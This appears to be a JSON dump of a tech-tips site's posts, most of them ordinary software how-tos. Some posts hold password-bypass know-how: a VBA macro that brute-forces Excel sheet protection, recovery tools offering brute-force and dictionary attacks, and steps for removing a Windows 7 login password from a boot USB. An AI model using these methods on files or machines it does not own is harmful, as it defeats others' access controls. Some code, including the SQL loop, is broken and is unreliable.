taking back your phone number is not as complicated as using another account.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqb%2BqsdWeZJplo528sbHEZqeaq6OsvLOw\n","link":"/post/how-to-retrieve-a-shopee-password/","section":"post","tags":null,"title":"How to retrieve a Shopee password"},{"body":"Facebook has now provided the feature of writing Facebook staus on various colorful and stylish wallpapers. This feature is also applied on the Facebook platform and Facebook application on Android and iOS phones. However, Facebook status backgrounds will be different on Facebook platforms, and it seems that the web-based Facebook version is offered less than Facebook on Android and iOS.\nIf you want to have more customizations for the web-based Facebook interface, you can install a Better Facebook widget on Chrome. This utility will change the Facebook interface wallpaper by color, or upload images, change font colors, fonts, font size, . and many different effects. The Facebook interface customization options are sorted by list and appear in separate windows, making it easy for users to do.\nThe following article will guide you how to change the Facebook interface with Better Facebook widget on Chrome.\nDo you know how to create avatar frames and effects on Facebook yet? How to post Facebook status with multiple languages 2 ways to rename Facebook when less than 60 days or more than 5 times How to customize the web-based Facebook interface Step 1:\nFirst, visit the link below to install Better Facebook utility on Chrome browser.\nDownload Better Facebook widget In the first interface click Add to Chrome .\n  Step 2:\nContinue to click Add add-on and wait for the installation of Better Facebook utility successfully in the browser.\n  Step 3:\nAccess your personal Facebook account. Then click on the Better Facebook icon on the address bar, then click the right horizontal bar at Colorizer to enable the color customization feature for the Facebook interface.\n  Step 4:\nIn the list you will see Better Facebook provides a lot of options for the interface.\nFirst of all to change the title bar color above the Facebook interface, click the Change title bar with this color (Change the bar to this color header), select the color in the palette to change it. down here.\n  Step 5:\nTo change the Facebook interface background color , click on the 2nd custom item as shown below.\n  Step 6:\nTo change the Facebook font color click on the 3rd option from the top, and the text on Facebook will change according to the selected color.\n  Step 7:\nTo change the wallpaper for Facebook interface, go to Use this method to fill the background (Set this photo in the background), click Select file (Choose file) to select the image available on the computer for delivery. face wallpaper.\n  After selecting the image click Open, the Facebook wallpaper interface will be changed as shown.Note to readers , if the image size is too large, it will receive a notification and need to change to another image.\n  Step 8:\nTo change the Facebook font, look for Font Styler and also bring the horizontal bar to the right to activate it. At the first option, users can change the font style for the Facebook interface.\nList of typefaces that Better Facebook utility provides a lot. You just need to choose the font you like to apply to the Facebook interface as shown.\n  Step 9:\nAlso at Font Styler, users can change the font size when moving the horizontal bar as shown below.\n  Step 10:\nIf the user does not want to use any custom settings, just swipe the horizontal bar at that item to the left, the other settings remain the same.\nFor example, if you don't use the new interface, or the selected color, flip the horizontal bar at Colorizer to the left. Facebook colors will disappear but Facebook typefaces still keep the change.\n  So with Better Facebook utility, users will have more tools to customize the Facebook interface from wallpapers, fonts, font sizes, . In addition, Better Facebook installed on Chrome also provides additional editing items. Different and arranged in separate sections.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq4rculp5qolad6pLTAp56eZZaku7W%2FjJympaeiqHqwuoyfmJydkqS8rA%3D%3D\n","link":"/post/how-to-set-wallpaper-change-fonts-colors-on-facebook/","section":"post","tags":null,"title":"How to set wallpaper, change fonts, colors on Facebook"},{"body":"There is Photoshop software on the computer with basic editing knowledge and creativity that we can turn a normal photo into a work of art. However, to reach the level of creativity, we must be proficient in editing operations such as cutting, joining or splitting the background.\n  In the article about basic Photoshop tutorial, Thuthuatphanmem.vn will guide you how to split the background in the most standard Photoshop!\nStep 1: After opening the image, you proceed to select the object to split the background, the tool here I choose is the Lasso Tool , you can press the L key to select this tool.\n  Step 2: The way you proceed to localize the object, after selecting the object area to split the background, go to menu Select =\u0026gt; Select and Mask.\n  Step 3: Click the mouse to select Refine Edge Brush Tools on the left hand side or press the R button on the keyboard. Next, select the Smart Radius section and move the cursor to remove the remaining white background areas.\n  Step 4: Go to the Output Settings section and select the Decontaminate Colors section and the Output section to select New Layer . Finished editing, you click OK to save.\n  Step 5: After clicking OK there will be a new layer with the object was separated. At this time, you can use the image has been split to combine with other images.\n  Step 6: Below is a sample where I stitched the split image into a new background.\n  With the best guide on how to split the background in Photoshop, follow the steps above and if you have any difficulties in performing, please send a comment to Thuthuatphanmem in the comment box below the article!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqugoba1edOhnGaakZi4qL7OrqWdZZmjerTAwKebmqqUYr2pu9OoqqGnoA%3D%3D\n","link":"/post/how-to-split-the-background-in-standard-photoshop/","section":"post","tags":null,"title":"How to split the background in standard Photoshop"},{"body":"The Visual Studio Code for web beta is currently being maintained by Microsoft although the launch announcement has been removed.\nRecently, Microsoft announced the release of public beta for the Visual Studio Code (VS Code) service for the web. However, it seems that this announcement was made earlier than scheduled. Microsoft quickly corrected the mistake by removing the notice but still maintaining the VS Code test site for the web.\nTo participate in the test, you need access to vscode.dev and have a Microsoft account, no Azure Active Directory account required.\nVS Code running on the web will have some limitations such as not being able to build, run or debug the application. It also cannot access an integrated terminal. Instead, VS Code for the web is more about using the browser as a sandbox for editing code.\n  Picture 1 of Microsoft accidentally released early Visual Studio Code beta for web vscode.dev  According to the Bleeping Computer site, developers can perform functions such as syntax highlighting, searching, editing multiple files, and viewing source control. on VS Code for the web.\nIn general, the VS Code interface for the web is quite neat with some toggle buttons on the side to open the repo, search, source control. Even the code input area is very neat and similar to the Visual experience. Studio for computers.\nCurrently, Microsoft has not clearly announced when VS Code for the web will be officially released.\nVisual Studio Code (aka VS Code) is one of the most popular code editors available today. Its advantages are fast, lightweight, cross-platform support and open source. VS Code is developed by Microsoft and is considered a perfect combination of IDE and Code Editor.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYq6kr8idnKeskaG5unnRnqOemaOasW6xwKujsmWmnsC2rctmqq2tlJ68bq%2FOnZxmmpWprm6yzqtksJ2SYsO0r86dnJ2dpmOurrw%3D\n","link":"/post/microsoft-accidentally-released-early-visual-studio-code-beta-for-web-vscode-dev/","section":"post","tags":null,"title":"Microsoft accidentally released early Visual Studio Code beta for web vscode.dev"},{"body":"A Dutch company is looking for ways to minimize environmental protection costs in printing by developing a new font, which can reduce the amount of ink needed by 15%. Technically, this \"Ecofont\" environmental protection font will have small holes in the strokes of the characters.  Source: The Register . Spranq, the media and marketing company in the Utrecht (Netherlands), designed this ink-saving font, came up with a painless font design solution like Swiss butter after failing with Experiment using a sliver font or a broken font - like stripes on a zebra pattern. Gerjon Zomer, co-founder of Spranq, said: \" We found out that it is necessary to preserve the size and outline of the characters so that they can be read easily .\" Mr. Zomer admits this font is not nice, but claims it can be used for personal writing or for internal use in a company. Spranq currently provides this font for free on the company's website. Zomer said its website has skyrocketed traffic since last week, when the Ecofont keyword began to spread. In particular, the majority of international access activities are from the US.\n  Zomer said he was satisfied in a certain way, because \" when you put something on the Internet, you can't know what you're expecting .\" Spranq is inviting developers to continue adding Ecofont fonts to the free and open source model, and Zomer says Arabic and Jewish font versions are also being developed.\nncG1vNJzZmismaXArq3KnmWcp51kwKLCxGagp6Ndl8ZuvNSnmqGhnpx6tbTEZp2opqQ%3D\n","link":"/post/save-ink-by-punching-the-font/","section":"post","tags":null,"title":"Save ink by ... punching the font"},{"body":"The \"genuine\" itype.exe file is a software component of Microsoft IntelliType Pro created by Microsoft. IntelliType is Microsoft's driver for the company's keyboard product family. itype.exe is an IntelliType installation file and also completely safe when running on a PC.\u0026nbsp;\nitype.exe not is a virus !\nIntellitype Pro is the driver package and Microsoft designed it for a series of computer keyboards. It is compatible with Windows and iOS platforms. This driver is compatible with all genuine Microsoft keyboards.\nIt is important to regularly look through Task Manager to see what is running. And make sure that nothing is consuming your system resources and that no fraudulent processes are running.\nYou may have encountered itype.exe and wondered what it is, is it safe (of course, the initial i doesn't mean it's an Apple process).\nWhat is itype.exe? iType.exe is a process that runs on the systems of people who own Microsoft IntelliType Pro mouse or keyboard. This process begins when you install the software and allows you to manage the keyboard.\nMicrosoft explains this process as follows:\nThe itype.exe process in Windows Task Manager belongs to Microsoft IntelliType Pro, Microsoft Mouse and Keyboard Center, Microsoft IntelliPoint / IntelliType Pro, or Microsoft's Advansys Formativ Framework software.\nIt is completely secure and allows extra keyboard buttons to operate.\nitype.exe is an IntelliType installation file and also completely safe when running on a PC Can itype be disabled.exe? If you want to disable itype.exe, you can do this and that will not prevent the keyboard from working. However, the shortcut will be disabled.\nLike itype.exe, you may also notice the appearance of iPoint.exe. Do not worry! Apple does not cram bloatware on your system. You are absolutely safe!\nThese are Microsoft processes and generally use less RAM or CPU resources.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWZqcaxscSxnGaho2K2tcXPnpyxnV2Were10a6q\n","link":"/post/what-is-itype-exe-is-itype-exe-a-virus/","section":"post","tags":null,"title":"What is itype.exe? is itype.exe a virus?"},{"body":"Because you want to protect your Excel file from being accessed and used by you, you have set a password to protect Excel file. But unfortunately you forgot your Excel file password and you have not saved the password in any notes. Don't know what to do when you forget your Excel file password? So, please refer to the following article.\n  The following article shows you how to do it when you have forgotten your Excel file password to be able to access your Excel file, please follow along.\nMethod 1: Recover Excel password file with Office password recovery software  When you forget the password to log in to Excel file, you can select the Office password recovery software to recover, retrieve the password of the Excel file you forgot. To use the Office password recovery software to retrieve the password of your Excel file, do the following:\nStep 1 : You need to download and install Office password recovery on the computer.\nDownload link https://www.iseepassword.com/office-password-recovery.html Step 2: After the installation is complete, run the program, on the interface you select Open to open the Open File window .\n  Open File window you navigate and select the Excel file that you forgot your password and click Open .\n  Step 3 : In the Type of attack you have 4 types of attacks:\nBrute-force Attack : use this type if you do not know or remember any characters in the password of the Excel file. You need to set the range in the Range tab and the password length in the Length tab to shorten the time and increase the ability to recover, retrieve password of Excel files.   Mask Attack : if you still remember some characters in the Excel file password, you should select Mask and specify the password using the '?' Symbol. replace with characters you don't remember, to shorten password recovery time, you can use a combination of Brute-Force style with Mask .   Dictionary Attack: if you have noted the password on a document, you create a password dictionary and then use the Dictionary attack to recover, retrieve passwords for Excel files faster. If not, you can also use the dictionary created by the password program.   Smart Attack : choose this attack if your Excel file password is complex and you don't remember it.   You choose the type of attack and set the corresponding options to improve efficiency and shorten recovery time, retrieve password of Excel file.\nStep 4 : After the setup is complete, select Start to start the program to find the password.\n  The process of finding fast or slow depends on the length and complexity of the password, if the password is short and simple, the program will find it quickly.\n  After finding the password, the program will stop and display the password, you can click Copy to copy or remember the password that the program has found.\n  Then paste or type the password into the password box to open the Excel file.\n  Method 2: Delete Excel file password with Office Password Remover software  Instead of the way you can recover the Excel file password, you can choose this way to delete the Excel file password to directly access the Excel file without needing a password anymore. You do the following:\nStep 1 : Download and install Office Password Remover on the computer.\nDownload at home https://www.isumsoft.com/excel-password-remover/ Step 2: Run the program after the installation is complete, on the interface you select Open .\n  Then navigate and select the Excel file you need to delete the password for.\n  The process of deleting fast or slow depends on the complexity of the password, once the program is completed, you will be able to access your Excel file without a password.\nMethod 3: Break password protected sheet If you still can open the Excel file but can't edit the contents of the sheet because the sheet has been password protected, you can break the sheet password by doing the following:\nStep 1: Open Excel file, on the Excel interface, select Developer -\u0026gt; Visual Basic or click All + F11 to open the Microsoft Visual Basic for Applications window.\n  Step 2: Next you choose Insert -\u0026gt; Module.\n  Step 3 : Copy the code below and paste it into the code editor on the right.\nSub PasswordBreaker () If ActiveSheet.ProtectContents = False Then MsgBox \"Sheet '\" \u0026amp; ActiveSheet.Name \u0026amp; \"' is unprotected!\", VbInformation Else If MsgBox (\"Sheet '\" \u0026amp; ActiveSheet.Name \u0026amp; \"' is protected, do you want to unprotect it? \", _ vbYesNo + vbQuestion,\" Unprotect Active Sheet \") = vbNo Then Exit Sub Dim i As Integer, j As Integer, k As Integer Dim l As Integer, m As Integer, n As Integer Dim i1 As Integer , i2 As Integer, i3 As Integer Dim i4 As Integer, i5 As Integer, i6 As Integer On Error Resume Next For i = 65 To 66: For j = 65 To 66: For k = 65 To 66 For l = 65 To 66 : For m = 65 To 66: For i1 = 65 To 66 For i2 = 65 To 66: For i3 = 65 To 66: For i4 = 65 To 66 For i5 = 65 To 66: For i6 = 65 To 66: For n = 32 To 126 ActiveSheet.Unprotect Chr (i) \u0026amp; Chr (j) \u0026amp;Chr (k) \u0026amp; Chr (l) \u0026amp; Chr (m) \u0026amp; Chr (i1) \u0026amp; Chr (i2) \u0026amp; Chr (i3) \u0026amp; _ Chr (i4) \u0026amp; Chr (i5) \u0026amp; Chr (i6) \u0026amp; Chr (n ) Next: Next: Next: Next: Next: Next Next: Next: Next: Next: Next: Next If ActiveSheet.ProtectContents = False Then MsgBox \"Sheet '\" \u0026amp; ActiveSheet.Name \u0026amp; \"' is unprotected!\", VbInformation End If End Sub   Step 4 : Close the Visual Basic window, select the sheet to break, then select View -\u0026gt; Marcos.\n  Step 5 : The Marcros dialog box appears, double-click and select PasswordBreaker ().\n  Step 6: A confirmation page for the password unlocking sheet you select appears, click Yes to agree.\n  After successfully unlocking, you will receive the message Sheet 'sheet name' is unprotected !, so you have successfully unlocked the sheet you can edit the sheet as usual because the sheet is no longer confidential. password protection.\n  Above the article has guided you the ways that you can choose to do it if you forgot the Excel file password. Hopefully with the way that the article will share you will be able to open the Excel file when you forget the password. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02arqGWUpHq4tMSnZLKnpWKzsL7GnqtmrJiaeqbEwp6jZp6ZobJuvMCsqrCnopk%3D\n","link":"/post/what-to-do-when-you-forget-the-excel-file-password/","section":"post","tags":null,"title":"What to do when you forget the Excel file password"},{"body":"The 2-cell 2 SIM phones (Dual SIM) can connect to two networks (same or different carriers to receive and make separate calls) on the same phone becoming more and more popular and familiar. belongs to the user. But in fact, not every 2 SIM phone is the same.\nDual SIM technology is divided into two categories: Dual Standby and Dual Active.\nDual SIM Dual Standby (DSDS - dual SIM, two standby) : Phones using this technology only have one wave reception hardware for both SIM cards. This means that 2 SIMs share the receiver via the algorithm integrated in the software. When SIM 1 receives the call, it will use the receiver completely, while SIM 2 will temporarily lose the signal and cannot communicate.\n Apple's iPhone Xs also uses DSDS technology.\nDual SIM Dual Active (DSDA - dual SIM, two simultaneous calls) : Inside the phones using this technology, there are two separate transceivers for each SIM. When SIM 1 receives a call, SIM 2 still has waves and works normally. In this case, if there is a caller to SIM 2, the user will receive an incoming call notification and can choose to hold the call or if the network provider supports it, it can be combined into a group call.\n  Galaxy Ace Duos S6802 of Samsung uses DSDA technology.\nIf users use messaging applications or call via 3G or 4G networks, whether using DSDS or DSDA, mobile devices still allow both SIMs to operate at the same time. Because 3G and 4G connectivity on mobile use packet switching technology, unlike channel switching like normal calls (2G).\nTo check if the mobile device you are using is DSDS or DSDA, the easiest way is to use SIM 1 to call SIM 2 in the device. If the call is made, it is DSDA, and of course it cannot be done DSDS.\nTo overcome the drawback on DSDS technology, manufacturers and operators have used call forwarding. When this feature is activated, if SIM 1 is processing a call, any call to SIM 2 will be forwarded via SIM 1. At that time, the user can hold the on-call and receive the call. transferred from SIM 2 to SIM 1. Most carriers now support this feature, or some carriers require users to register for use.\n   \"Always turn on 2 SIM\" feature is integrated on Samsung smartphone.\nThe new Apple iPhone trio, despite using DUA SIM technology, does not yet support this call transfer feature.\nWhy is DSDS technology more applicable?\nCurrently, almost every manufacturer has dual SIM phones but major companies such as Samsung, LG, Motorola / Lenovo, Acer, Sony, Huaiwei, ASUS, HTC, Xiaomi, Oppo, . are almost never produced. a DSDA\nPreviously, many Android phones were equipped with DSDA, but in recent years most of these phones have DSDS technology (including Apple's newly launched iPhone trio), although it has a big limitation on receiving waves on 2 SIM.\nDSDS uses the same signal receiver for 2 SIMs, thus saving costs. Meanwhile, DSDA needs two signaling components, so production costs will increase, require more complex software customization and even buy more patent rights to implement.\nDSDA technology reduces the battery life of the phone, greatly affecting users.\nThe application of two SIMs will affect operators in markets where users often buy smartphones through the network. Because customers can buy a SIM of another network operator to use after signing the SIM contract of the network when buying the device.\nSee more:\nHow the 2 SIM mode works on the iPhone Xs duo Learn about eSIM new SIM technology for the future ncG1vNJzZmismaXArq3KnmWcp51kxKnFjJqpnmWjoq61vMeopZ5lnqTEbsHSoqWgZWJiwKq5jK2cnKCepLmws9hmrqKsmGJ%2Fbr%2FTmqWdmqlixKLCxKxkm62kYruwwIxrZKyhnah6osCMrZ%2BeZaOWuqZ506Kkng%3D%3D\n","link":"/post/why-are-smatphone-now-using-2-sim-technology-with-2-standby-waves-but-not-2-sims-at-the-same-time/","section":"post","tags":null,"title":"Why are smatphone now using 2 SIM technology with 2 standby waves but not 2 SIMs at the same time?"},{"body":"In April last year, Cloudflare launched a new 1.1.1.1 DNS high-speed domain name resolution service. And recently, Cloudflare continues to add to its app a new feature called Wrap that makes routing accessible through their servers to speed up faster and encrypted traffic. However, Wrap does not support changing or forging geographical locations.\nIn addition, Wrap is optimized for less battery power than other VPN apps, enhances content compression and better supports switching between Wi-Fi and mobile networks.\n  Cloudflare claims, user data will not be stored to identify you and will not be used to sell advertising. The company's revenue will come from the sale of Wrap + service running on Cloudflare Argo technology with faster, higher stability. Cloudflare has not yet announced the price of this service.\nCurrently, Cloudflare allows registered users to try Wrap. You do not need to download the app separately because the Wrap will be integrated directly into the app of 1.1.1.1 today.\n  ncG1vNJzZmismaXArq3KnmWcp51ksK271J2dpZmimnqtrdSnmqGdo2K2r8DEoKmarJWZere8zWaqnqqmnrCmecinZJqooGJ%2Bcn2QZpicm5WhsrOt06KloGWWlsC1sdFmmKecXaiup7HR\n","link":"/post/cloudflare-launches-integrated-vpn-service-in-app-1-1-1-1-accelerating-faster-and-safer/","section":"post","tags":null,"title":"Cloudflare launches integrated VPN service in app 1.1.1.1, accelerating faster and safer"},{"body":"The FOR loop is often used to run a code repeatedly for the number of repetitions. However, in SQL Server there is no FOR loop. However, you can still use the WHILE loop to simulate FOR here. Please follow Quantrimang to see how to use it through the following article.\nFor loop syntax in SQL Server To simulate the FOR loop in SQL Server, we use the following syntax:\nDECLARE @cnt INT = 0; WHILE @cnt BEGIN  {.câu lệnh thực thi.}  SET @cnt = @cnt + 1; END; \n Parameters :\ncnt_total: Number of loops you want FOR (WHILE) to execute. Executable statements: Statements are executed each time through the loop. Example of a for loop in SQL Server Consider an example of how to simulate a FOR loop in SQL Server (Transact-SQL) with a WHILE loop.\nDECLARE @cnt INT = 0; WHILE @cnt BEGIN  PRINT 'Vi du mo phong vong lap FOR trong SQL Server cua TipsMake.com';  SET @cnt = @cnt + 1; END; \nPRINT 'Ket thuc mo phong vong lap FOR cua TipsMake.com'; GO  In the example using this WHILE command, the loop will terminate when @cnt reaches the value of 10.\nLast lesson: WHILE loop in SQL Server\nNext article: BREAK (Control Disconnect) command in SQL Server\nncG1vNJzZmismaXArq3KnmWcp51ks7C%2BjKWmqKhdnrtuv9ClZKydoquysw%3D%3D\n","link":"/post/for-loop-in-sql-server/","section":"post","tags":null,"title":"FOR loop in SQL Server"},{"body":"After creating the form, you may want to modify its interface. Formatting a form can help make your database look consistent and professional. Some format changes can even make your form easier to use. With formatting tools in Access, you can customize your form so that it looks exactly what you want.\nIn this lesson, you will learn how to add command buttons, modify form layouts, add logos and other images, and change the color and font of a form.\nThroughout this tutorial, we will use a sample database. If you want to monitor, you need to download the Access 2016 sample database file. You will need to install Access 2016 on your computer to practice.\nFormat forms in Access 2016 Form formatting Command buttons How to add a command button to the form Modify form layout Change the size of the form component Move form components  Other format options Modify the colors and fonts of form components  Practice! Form formatting Access provides several options that allow you to make your form look as you want. Although some of these options, such as command buttons, only for forms, other options may be familiar to you.\nCommand buttons If you want your form users to quickly perform specific tasks, consider adding command buttons. When you create a command button, you specify an action for it to perform when clicked. By including commands for common tasks right in your form, you'll make the form easier to use.\nAccess provides many different types of buttons, but they can be divided into several main categories:\nRecord Navigation allows users to move back and forth between records in your database. Record Operation allows users to perform operations such as saving and printing records. Form Operation allows users to quickly open or close forms, print existing forms and perform other tasks. The Report Operation provides users with a quick way to do things like preview or send reports from the current record. How to add a command button to the form 1. In the Form Layout view , select the Design tab , then locate the Controls group .\n2. Click the Button command .\n  \n3. Select the desired location for the command button, then click.\n  4. Command Button Wizard will appear. In the Categories control panel , select the list of buttons you want to add. For example, we want to find a way to move faster to specific records, so we will select the Record Navigation category .\n5. The list in the Actions panel will update to reflect the category you have selected. Select the action you want the button to perform, then click Next. In this example, we will select Find Record.\n  \n6. You can now decide whether you want your button to include text or images. The live preview of that button will appear on the left.\n7. To include text, select the Text option , then enter the word or phrase you want into the text box.\n  8. To include an image, select the Picture option . You can decide to keep the default image for that button or choose another image. Click Show All Pictures to choose from a different button icon or Browse to select photos from your computer.\n  9. When you are satisfied with the appearance of the command button, click Next.\n10. Enter a name for the button. This name will not appear on the button, but knowing the name of that button will help you quickly determine the node's location, if you want to modify it with the Property Sheet. After adding the button name, click Finish.\n  \n11. Switch to the View mode to check the new button.Our Search button opens the Find and Replace dialog box .\n  \nSome users report that Access does not work while formatting the form. If you have trouble performing any of the Layout views , try switching to Design view .\nModify form layout When you create a form, Access arranges form components in a default layout, where fields are neatly stacked on top of each other, with the same width. Although this layout has its own function, you may find it unsuitable for your information. For example, in the form below, most schools are almost completely empty because the data stored there doesn't take up much space.\n  The form will fit more data if you make the fields and buttons smaller, or even put some of these buttons side by side. However, with the default layout, you won't be able to place two fields side by side or resize a field or node without changing the size of all the details in that field or button. This is because Access creates a form component in rows and columns. When you resize a field, you will actually resize the column that contains it.\n  To resize and rearrange the fields the way you want, you'll have to modify the layout of the form. For example, because the default layout for the form in the example contains only two columns, one for field tags and one for fields, we'll have to create a new column to place two fields side by side.\nYou can do this using the command on the Arrange tab , containing all the tools we will need to customize the layout of the form. If you've ever built and modified tables in Microsoft Word, you already know how to use most of these tools.\n  Change the size of the form component 1. Switch to Layout view .\n  2. Select the field or button you want to resize, then hover over it. Your cursor will become a two-way arrow.\n3. Click and drag the mouse to resize the selected object.\n  4. The field or button, as with any other item associated with it, will be resized.\n  Move form components 1. If necessary, add columns or rows to make room for the field or node you want to move by using the Insert command in the Rows \u0026amp; Columns group. In this example, we want to move the Last Name field to the right of the First Name field , so we will have to create two new columns on the right: One column for the field tag and one for the field itself. To do this, we will press the Insert Right command twice.\n  2. Click and drag the field or button to its new location. If you are moving a school, be sure to move the campus label.\n  3. Repeat the above steps for any other fields or buttons you want to move.\n  If you want to create a field with more space than the other column, you can use the Merge and Split commands . The Merge command combines two or more cells, while the Split command divides one cell into several parts. In the example below, the search command at the top of the form is in the merged cell and the New Customer command at the bottom of the form is in the split cell.\n  Other format options Adding logos and other images to your form can significantly improve their appearance, because you can apply the theme color and font to the theme.\n  Modify the colors and fonts of form components To further customize the appearance of the form, you can apply different colors and fonts to each field, button, label, and other form components. Modifying the form for the form in this way is useful, if you want to use a certain color or font style in the form, but don't want these design elements to apply to the entire database of friend.\nFor example, in the form below, the author modified the font of the form title. New colors and borders are also applied to form fields and are doing the same with command buttons.\n  You can make these changes using the same formatting techniques and tools that you will use to modify shapes in Word and other Office programs. Just select the object you want to modify while in Layout or Design view and use the formatting options on the Format tab to customize the look of the object.\nPractice! 1. Open the practice database mentioned above.\n2. Open the Order Items form .\n3. Change to Layout view .\n4. Add a command button to create a new record.\n5. The button format has just been added with the color and style you choose.\n6. Change the theme color and font.\nSee more:\nCreate reports in Access 2016 and use advanced reporting options Work with data in Access 2016 Options to create data queries in Access 2016 ncG1vNJzZmismaXArq3KnmWcp51ks7C%2BzJqrZp6fp7q0ecinZJqbk5rAtHmRaWhv\n","link":"/post/format-forms-in-access-2016/","section":"post","tags":null,"title":"Format forms in Access 2016"},{"body":"Believe me, most of the ways to bypass Windows 7 Password are complicated and require a lot of technical complexity. I have experienced this before and am ready to share with you the simplest, fastest way to bypass your Windows 7 Password.\nIn this article TipsMake will guide you to use PassFab 4WinKey as the leading tool to help you bypass Windows 7 Password, delete or reset admin and local passwords, delete or create Windows accounts in minutes... Read More Moreover, this method can be applied to many different situations when you forget your password and includes many operating systems.\n4WinKey\u0026nbsp;is the world's leading Windows password recovery tool. Reset lost administrator and user passwords on any Windows 10 / 8.1 / 8/7 / XP / Vista system without reformatting or reinstalling your system.\nMain features of 4WinKey:\nGreat feature to unlock your computer Windows Password Recovery Tool - Simple and Safe Work Remove Windows password Reset Windows password Delete Windows account Create a Windows account Windows Password Reset Disk - Fast and Fluent Compatible with all windows operating systems. Except for the factory reset method for Windows systems, you can also get your password back using this Windows password unlock software and then access your PC again. No need to reinstall your operating system, no data loss or damage. Alternatively, you can use this fancy Windows password recovery tool to burn new passwords on Windows or Mac system without any trouble.\nYou follow the steps below to bypass your windows 7 Password.\nNeed to be prepared\n1 USB capacity arbitrary (note : the data on the usb will be deleted when performing the installation, so you need to backup data on the usb first) 1 another accessible PC or Mac, not your locked computer (You can borrow or use another accessible computer) Steps Bypass Windows 7 Password 1. Create USB Recovery Windows Password Step 1. Starting another accessible PC, connect USB to this computer.\nStep 2. Access the link here and download PassFab 4WinKey\nStep 3. After the download is completed, install the PassFab 4WinKey software on this computer.\n  The installation steps are very simple, the software will automatically install most of the steps for you, just a few seconds. After the installation finishes, the software will automatically run and proceed to setup USB Recovery Windows Password for you\n  Click Start to setup USB Recovery Windows Password.\nStep 4. You select and choose the USB connected to the computer in step 1.\n  At this step, if you have a CD burner and you are proficient in CD burning then you can choose to use a CD drive. Nowadays, the use of CD drives is no longer common, people often use USB for simplicity and ease of use.\nNext, click Burn to proceed with USB Recovery Windows Password setup.\nIf there are no problems with the selected USB, click YES to confirm.\n  Wait a few minutes for the USB Setup process to finish.\n  The USB Recovery Windows Password setup is finished.\nYou proceed to safely remove the USB drive from the computer. You have on hand a bootable USB Recovery Windows login password already. This step to create USB Recovery Windows Password you only need to do one time, you can use this USB to recover Windows login passwords of many different computers.\n2. Start Boot the computer locked with USB Recovery Windows Password Step 1. Connect the USB Recovery Windows password to the locked computer.\nStep 2. Start that computer. Press Del or F2 to access BIOS.\nNote: The key to enter Boot menu might be different on different motherboards. Here I gather the common keys on popular computer brands. Common keys to enter Boot menu are F12 or ESC. For other manufacturers, please refer to the boot keys commonly-used by the below brands.\n  Step 3. Configure the BIOS to select a fist-boot is USB, then save and exit Boot menu.\n  Each type of computer or laptop has a different BIOS configuration, you can search for information on how to use the BIOS on google with the keyword \"Configure the BIOS + computer model (or name)\". Some types of computers allow to choose Boot as soon as it boots by pressing F12 key or F9 key, then select USB as the first boot device.\n  After selecting and booting with USB. The system will start to boot and load from the USB.\n3. Bypass Windows 7 Password In the next screen, you will see PassFab 4WinKey interface, which contains the features that this program offers:\n  You proceed to select the Operating System on your hard drive partition. Then click next to go to the next step.\n  Choose the account you want to operate, then choose the feature you want to use. You can choose one from of the following options.\nFor the simplest thing, select Remove Account Password , then click Next.\nAfter a moment, your Windows login password will be removed successfully. Click \"Reboot\" to restart your computer and remove the boot disk from it.\n  It is done. Your computer will boot without password. After entering the windows, you can proceed to create a new login account and password as you like.\nThe steps shown above are very simple, you just need to follow the order is ok, you can also watch the video instructions Bypass Windows 7 Password below.\nWatch the instruction video Bypass Windows 7 Password In the above article, I have introduced to you the simplest and most effective Steps\u0026nbsp;Bypass Windows 7 Password\u0026nbsp;with PassFab 4WinKey software. Hope this information is useful to you.\nGood luck.\nPassFab 4WinKey PassFab ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqppa60v4ywoKecn6zAboOMqZisq6ekv6V51Kygp59dpa60v8WamWZsp567rLHYZqqonqSsrrOx\n","link":"/post/how-to-bypass-windows-7-password-using-passfab-4winkey-software/","section":"post","tags":null,"title":"How to Bypass Windows 7 Password using PassFab 4WinKey software"},{"body":"In the process of writing the report you want to convert the table into text to fit the report content. The following article shows how to convert tables into text in Word.\n- \u0026nbsp; Select the data table to convert -\u0026gt; on the Layout tab -\u0026gt; Data -\u0026gt; Convert to Text:\n  - The Convert Table to Text dialog box appears in the Separate text section with the type of conversion to Text, for example, select the Comas type -\u0026gt; OK:\n  - Data results on tables are converted into rows:\n  - For example, you want to keep the column format by using Tabs -\u0026gt; select the Tabs category :\n  - Content results are displayed as you use the tabs key :\n  The above is a detailed guide on how to convert tables into text in Word 2013. With other versions perform the same operation. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmq5qanJrAbrXNraZmrJWtwW61zWauqKqU\n","link":"/post/how-to-convert-tables-into-text-in-word/","section":"post","tags":null,"title":"How to convert tables into text in Word"},{"body":"Do you want to exclude your installed operating system as the cause of the problem? Why not use an operating system on USB? Here is how you can do it with Ubuntu Linux.\nWhy choose Ubuntu? Ubuntu Linux is a free operating system. It can be downloaded for free and runs from USB. This tool can be helpful to check a system if it has an error and you want to eliminate the cause of the installed operating system.\nDownload and prepare To use Ubuntu, you need to prepare a USB flash drive and download Ubuntu Setup ISO. The article will use Rufus as an example of how to create bootable USB. You can use any tool you want to merge the ISO file into USB.\nNote : Dell will not endorse this software and you do so at your own risk when using Rufus.\n1. Download the Ubuntu ISO file USB connection. Go to https://ubuntu.com/download and click Ubuntu Desktop. Click the Download button . On the next page, you can donate to the Ubuntu team or just scroll down and click \"Not now, take me to the download\" to continue without donating. 2. Merge ISO to USB Open Rufus or the tool you want to use to merge the ISO file into USB. Select Ubuntu ISO downloaded and the USB you want to use. Note : The USB will be erased during this process, please back up the necessary data before you proceed.\nClick Start and wait for the process to finish.   Use Ubuntu from USB Connect the USB and boot the system. When you see the Dell logo, press F12 repeatedly. Select USB in the BIOS boot menu.   When Linux starts, you will be prompted to install Ubuntu, but check Ubuntu instead.   You now have a fully functioning Linux Ubuntu running on USB.\nMore information You will find a setup file on the Ubuntu desktop if you want to install Ubuntu later.\n  Instead of Ubuntu, you can also create USBs with Windows 10.\nHope you are 